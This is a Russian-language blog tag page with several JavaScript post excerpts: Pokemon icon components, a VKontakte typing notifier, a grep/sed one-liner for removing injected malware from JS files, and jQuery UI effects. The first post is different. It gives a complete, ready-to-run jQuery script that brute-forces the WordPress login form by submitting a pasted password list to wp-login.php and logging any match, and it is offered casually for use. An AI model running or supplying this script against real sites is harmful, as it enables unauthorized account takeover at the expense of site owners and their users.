Метка: javascript

WordPress Login form brute force in jQuery

Posted on by Dominus Posted in Программирование, УязвимостиTagged , , Комментариев нет

1) Add jQuery:

1
2
3
4
var script = document.createElement('script');
script.src = 'https://yastatic.net/jquery/2.1.3/jquery.min.js';
script.type = 'text/javascript';
document.getElementsByTagName('head')[0].appendChild(script);

2) Create textarea field and paste your passwords list:

1
$('body').prepend('<textarea id="pwds"></textarea>')

3) other part of code just paste and run:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var passwords = $('#pwds').val().split(/\r?\n/);

$('#loginform').submit(function(){
    var data = $(this).serialize();
    var pwd = $('#user_pass').val();
    $.post('/wp-login.php', data, function(datas){
        if(!datas.match(/Incorrect password/)){
            console.log('Correct password: '+pwd);
        }
    })
    return false;
});

$.each(passwords, function(k, v){
    $('#user_pass').val(v);
    $('#loginform').submit();
});

Enjoy and be ready to be banned by hoster 😉

Иконки всех покемонов

Posted on by Dominus Posted in ПрограммированиеTagged , , Комментариев нет

На «пике» Pokemon Go кто-то захочет украсить свой сайт/документацию иконками этих самих покемонов.
На просторах уже было найдено решение:
1) Скачиваем архив

2) подключаем скрипты в наш проект

1
2
<script src="../../webcomponentsjs/webcomponents-lite.js"></script>
<link rel="import" href="../poke-icon.html"/>

3) «вызвать» покемона можно либо по номеру, либо по имени

1
2
<poke -icon nr="24"></poke>
<poke -icon name="PIKACHU"></poke>

Continue reading «Иконки всех покемонов» →

Уведомление о наборе текста в ВКонтакте

Posted on by Dominus Posted in ПрограммированиеTagged , , Комментариев нет

[Dirty Hack]
Работать будет на страницы https://vk.com/im, либо открытого диалога. Писалось под Chrome Console, может кто-то разовьет в приложение или т.п.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// by: Dominus
// CopyLeft
var script = document.createElement('script');
script.src = 'https://yastatic.net/jquery/2.1.3/jquery.min.js';
script.type = 'text/javascript';
document.getElementsByTagName('head')[0].appendChild(script);

function type_checker() {
  if ($('.dialogs_typing_box').height()) {
      var notify = new Notification($('.dialogs_info a', $('.dialogs_typing_box').parent().parent()).text(), {
          icon: $('img', $('.dialogs_typing_box').prev().prev('.dialogs_photo')[0]).attr('src'),
          tag: "vknoty",
          body: "Вам печатает..."
      });
      setTimeout(function() {
          notify.close();
      }, 5000);
  }
}

type_checker();
setInterval( function() {
    type_checker();
}, 5000 );

Чистим javascript файлы от вирусов (заметка)

Posted on by Dominus Posted in Linux, УязвимостиTagged , , , , 2 комментария

В основном заражают javascript файлы, как правило код пропущен через обфускатор (base64, japan utf-8 etc).
Очень легко в таких заражениях найти уникальную сигнатуру, и почистить все одним махом.
И так:

1
grep -rl 'hVu6r#r#iFy#eVtV' ./ | xargs sed -i '/hVu6r#r#iFy#eVtV/d'

hVu6r#r#iFy#eVtV — это и есть наша уникальная сигнатура.

Построение интерфейса на jQuery. Эффекты

Posted on by Dominus Posted in ПрограммированиеTagged , , , , 5 комментариев

Сейчас, когда все хотят видеть динамичные сайты, красивые и юзабельные, а к примеру теже сайты на чистом Флэш меня как то не очень прельщают, лично для себя вижу альтернативу в framework’e jQuery.

В этой статье хочу привести пару примеров построения интерфейсов того же меню для сайта, используя эффекты «рыбьего глаза » [Fisheye], различного рода спецэффектов и т.д. Это скорее не статья, а маленький экскурс в эту библиотеку javascript. И так начнем.

Для всех манипуляций нам понадобиться собственно сам фрэймворк jQuery и готовые библиотеки для построения различного рода интерфейсов. Continue reading «Построение интерфейса на jQuery. Эффекты» →